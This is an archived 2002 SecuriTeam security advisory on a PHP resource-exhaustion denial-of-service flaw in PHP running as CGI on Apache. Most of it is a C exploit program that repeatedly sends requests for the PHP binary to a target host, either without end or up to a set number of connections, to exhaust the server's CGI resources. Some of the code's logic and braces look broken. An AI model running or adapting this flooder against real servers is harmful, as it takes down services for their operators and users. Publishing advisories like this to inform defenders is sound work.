

[EXPL] PHP Resource Exhaustion Denial of Service

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0086.html>

From: support@securiteam.com

Date: 07/21/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sun, 21 Jul 2002 19:06:18 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

PHP Resource Exhaustion Denial of Service

SUMMARY

A problem exists in PHP that allows an attacker not supplying any command-line arguments to cause a denial of service. This is because a consistent flow of requests like theses will exhaust all resources for CGI/ASAPI on the server. The following is an exploit code that can be used by an attacker to test his system for the motioned vulnerability.

DETAILS

Exploit:

```
/* PHP-APACHE.C
```

```
* By Matthew Murphy
```

```
* Exhaust CGI Resources via PHP on Apache
```

```
*
```

```
* Calling PHP with no parameters causes it to
```

```
* never terminate; the process must be killed
```

```
* by the server, the OS, or the admin.
```

```
*
```

```
* PHP on Apache requires you to configure a
```

```
* virtual to load PHP out of. PHP implements
```

```
* a "cgi.force_redirect" value to require that
```

Securiteam: [EXPL] PHP Resource Exhaustion Denial of Service

```
* a certain environment variable be set to
* allow PHP to run further.
*
* However, an empty command-line *still* will
* cause PHP to hang. If a remote user does
* this for a lengthy amount of time, the server
* may no longer launch PHP or other server-side
* components.
*
* NOTE: The vulnerable config is on Apache,
* but other servers can still be exploited
* if they offer PHP.EXE (or an SAPI) directly.
*
* Usage: php-apache <host> [phpbin] [port] [maxsocks]
*/
```

```
#include <stdio.h>
#include <string.h>
```

```
#ifdef _WIN32
#define _WINSOCKAPI_ /* Fix for Winsock.h redef errors */
#include <winsock2.h> /* WinSock API calls... */
#define WSA_VER 0x0101 /* WinSock ver. to use */
#pragma comment(lib, "wsock32.lib") /* Check your compiler's docs... */
#else
#include <signal.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#endif
```

```
#define DEF_PHP "/php/php" /* This is used as the PHP
    * path if one isn't set
    */
```

```
static char php_buf[] = "GET %s HTTP/1.0\x0d\x0a\x0d\x0a";
```

```
void main(int argc, char *argv[]) {
    char host[257];
    char binpath[257];
    int maxsocks;
    char request[300];
    unsigned short port;
    struct hostent *he;
    struct sockaddr_in sa_in;
#ifdef _WIN32
    WSADATA wsa_prov;
    SOCKET s;
```

Securiteam: [EXPL] PHP Resource Exhaustion Denial of Service

```
#else
    int s;
#endif
printf("PHP-APACHE.C by Matthew Murphy\x0d\x0a");
printf("Exhausting CGI resources w/ PHP on Apache\x0d\x0a\x0d\x0a");
maxsocks = 0;
strcpy(&binpath[0], DEF_PHP);
#ifdef _WIN32
    if (!WSAStartup(WSA_VER, &wsa_prov) == 0) {
        printf("ERROR: Windows Sockets init failed!");
        exit(1);
    }
#endif
port = (unsigned short)htons(80);
switch (argc) {
    case 5:
        maxsocks = atoi(argv[4]);
    case 4:
        port = htons((unsigned short)atoi(argv[2]));
    case 3:
        if (strlen(argv[2]) > 256) {
            printf("ERROR: 256 char path limit exceeded in 'phpbin' argument.");
            exit(1);
        }
        strcpy(&binpath[0], argv[2]);
    case 2:
        if (strlen(argv[1]) > 256) {
            printf("ERROR: No host should be over 256 chars!");
            exit(1);
        }
        strcpy(&host[0], argv[1]);
        break;
    default:
        printf("Usage: php-apache <host> [port] [maxsocks]
[phpbin]\x0d\x0a\x0d\x0ahost - The IP/DNS name to attack\x0d\x0a
port - The port the HTTP service normally runs on (default: 80)\x0d\x0a
maxsocks - The maximum number of connections to establish (creates a finite flood). A
zero value means continue until termination (default: 0)\x0d\x0a
phpbin - The virtual path to the PHP binary (e.g. /php/php[.exe]; default:
/php/php)");
        exit(0);
    }
    if (maxsocks == 0) {
        maxsocks--;
    }
    sa_in.sin_family = AF_INET;
    sa_in.sin_port = (unsigned short)port;
    he = gethostbyname(&host[0]);
    if (he == NULL) {
        printf("ERROR: DNS resolution failed, or unknown host.");
        exit(1);
    }
}
```

Securiteam: [EXPL] PHP Resource Exhaustion Denial of Service

```
}
#ifdef _WIN32
    sa_in.sin_addr.S_un.S_addr = (unsigned long)*(unsigned long
*)he->h_addr;
#else
    sa_in.sin_addr.S_addr = (unsigned long)*(unsigned long *)he->h_addr;
#endif
sprintf(&request[0], &php_buf[0], &binpath[0]);
while (!maxsocks == 0) {
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s < 0) {
        printf("Couldn't create socket...\x0d\x0aIf you continue to receive
this error, terminate the program.");
    } else {
        if (!connect(s, (const struct sockaddr FAR *)&sa_in, sizeof(struct
sockaddr_in)) == 0) {
            printf("Couldn't connect...\x0d\x0aIf you continue to receive this
error, terminate the program.");
        } else {
            send(s, (char FAR *)&request[0], strlen(&request[0]), 0);

/* If the exploit isn't using up server resources
* try removing this -- the server may be killing
* the CGI after a disconnect.
*/

#ifdef _WIN32
            shutdown(s, SD_BOTH);
            closesocket(s);
#else
            close(s);
#endif
        }
    }
    if (!maxsocks == -1) {
        maxsocks--;
    }
}
return;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:mattmurphy@kc.rr.com>>
Matthew Murphy.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com

Securiteam: [EXPL] PHP Resource Exhaustion Denial of Service

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- **Previous message:** support@securiteam.com: "[UNIX] Geeklog XSS and CRLF Injection"
- **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)